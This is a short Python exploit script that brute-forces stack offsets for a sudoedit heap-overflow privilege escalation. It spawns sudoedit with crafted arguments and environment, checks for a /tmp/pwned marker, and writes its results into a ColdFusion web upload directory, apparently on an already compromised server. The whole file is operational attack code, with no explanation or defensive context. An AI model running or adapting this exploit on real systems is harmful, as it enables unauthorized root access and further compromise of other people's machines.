import bs_sa, os
bs_sa.has_tailq=False; bs_sa.has_file=False; bs_sa.MATCH_ALL=279; bs_sa.DEFAULTS_CMND=268
bs_sa.ENV_STACK_SIZE_MB = 2
base = 0x7fffffdfefda  # SA measured for offset_defaults=0x20
res=[]
for off in [0x0,0x8,0x10,0x18,0x20,0x28,0x30,0x40,0x50,0x60,0x80,0xa0,0xc0,0x100,0x200,0x400]:
    SA = base - (off - 0x20)  # epage structs shift by (off-0x20) since env[0] size changes
    bs_sa.STACK_ADDR_PAGE = SA
    cs=0x4000
    argv=[b"sudoedit",b"-A",b"-s",b"-C",b"1337",b"A"*(cs-0x10)+b"\\",None]
    env=bs_sa.create_env(off)
    ec,err = bs_sa.spawn(bs_sa.SUDO_PATH, argv, env)
    res.append('o%x_s%x:%d'%(off,SA,ec))
    if os.path.exists('/tmp/pwned'):
        res.append('PWNED@o%x'%off); break
open('/opt/coldfusion8/wwwroot/userfiles/file/scan.txt','w').write('pwned=%s %s\n'%(os.path.exists('/tmp/pwned'),','.join(res)))